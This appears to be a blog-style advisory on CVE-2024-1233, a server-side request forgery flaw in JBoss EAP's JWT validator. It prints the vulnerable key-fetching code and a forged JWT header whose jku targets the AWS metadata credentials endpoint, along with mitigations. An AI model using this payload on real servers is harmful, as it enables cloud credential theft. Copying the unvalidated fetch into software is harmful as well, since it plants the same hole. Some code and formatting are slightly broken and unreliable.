In early 2024, security researchers disclosed a serious Server-Side Request Forgery (SSRF) vulnerability in Red Hat’s JBoss Enterprise Application Platform (EAP). Tracked as CVE-2024-1233, this issue affects the JwtValidator.resolvePublicKey method. If you're using JWT authentication with JBoss EAP, your system might be open to network attacks—including internal port scanning, credential theft, and more malicious activities.

Let’s break down what CVE-2024-1233 is, how it works, how attackers can exploit it, and what you should do to stay safe.

The bug sits in JBoss EAP’s JWT validator, specifically here

public PublicKey resolvePublicKey(String jku) {
    // Sends HTTP request to the jku URL, fetches public key.
    URL url = new URL(jku);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    InputStream in = conn.getInputStream();
    // ... Parse and return the public key
}

JwtValidator uses the jku (JWK Set URL) header value that comes directly from the JWT header. Without whitelisting or filtering, this URL can be any destination the attacker wants—including internal websites your server can reach but the attacker can't from the outside.

- No Checks: There's no validation, so attackers can supply internal or cloud metadata IP addresses, or even URLs with localhost, 127...1, or special names like unix sockets.
- Immediate Impact: By tricking the validator into making a request to a resource chosen by them, attackers could:

Attacker crafts JWT

- The JWT’s header includes a jku field. Instead of pointing it to an actual trusted public key endpoint, the attacker supplies a malicious or internal-only URL.

`json

{

"typ": "JWT",

"jku": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

`java

URL url = new URL("http://169.254.169.254/latest/meta-data/iam/security-credentials/");

JBoss makes internal HTTP call

- In this example, the URL targets the cloud metadata IP in AWS. The server fetches data and, depending on the rest of your configuration, might log, forward, or send response data back to the attacker.

Attacker harvests sensitive data

- If retrieved data is echoed or forwarded, the attacker can steal secrets, AWS tokens, or get detailed internal infrastructure info.

Here's a sample vulnerable Java snippet

public String exploitSSRF(String evilJku) throws Exception {
    URL url = new URL(evilJku);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    StringBuilder response = new StringBuilder();
    String line;
    while ((line = in.readLine()) != null) {
        response.append(line).append("\n");
    }
    in.close();
    return response.toString();
}

// Exploit call:
String internal = exploitSSRF("http://localhost:808/admin";);

If you submit a forged JWT to an endpoint protected by this logic and watch the server's interaction (via logs, error responses, or network traffic), you’ll see any resource reachable from the server is accessible.

Real-World Scenarios

- Cloud Instance Data Theft: In AWS, GCP, and Azure, attackers can steal cloud tokens and access internal cloud resources.
- Pivoting to Internal Services: Attackers use your JBoss server as a proxy to scan and attack your internal network.
- Blind SSRF: Even if results are not returned, attackers can measure timing or network errors to map exposed services.
- Phishing and Callback Triggers: SSRF to attacker-controlled sites can leak server identity, access logs, or trigger further malicious actions.

Red Hat issued advisories and security updates. See

- Red Hat Security Advisory for CVE-2024-1233
- Red Hat Bugzilla Bug 2265065

URL Whitelisting: Only allow loading keys from trusted domains.

- Disable JMKS/JKU: If not required, reject JWTs employing jku.

Closing Thoughts

CVE-2024-1233 is a textbook example of why input validation matters, especially when handling fields that direct outbound network requests like jku. Attackers love flaws like these because they allow them to turn your trusted infrastructure into their hacking tool. Patch quickly, and if you’re unsure whether your systems are exposed, reach out to your vendors or run network logs for outbound HTTP requests to untrusted or unusual destinations.

References

- CVE Details for CVE-2024-1233
- Red Hat Knowledgebase: CVE-2024-1233
- Red Hat Bugzilla #2265065
- OWASP SSRF Explanation


If you administer Java applications with JBoss EAP, check your versions and configuration right away!

Timeline

Published on: 04/09/2024 07:15:08 UTC
Last modified on: 05/14/2024 16:15:55 UTC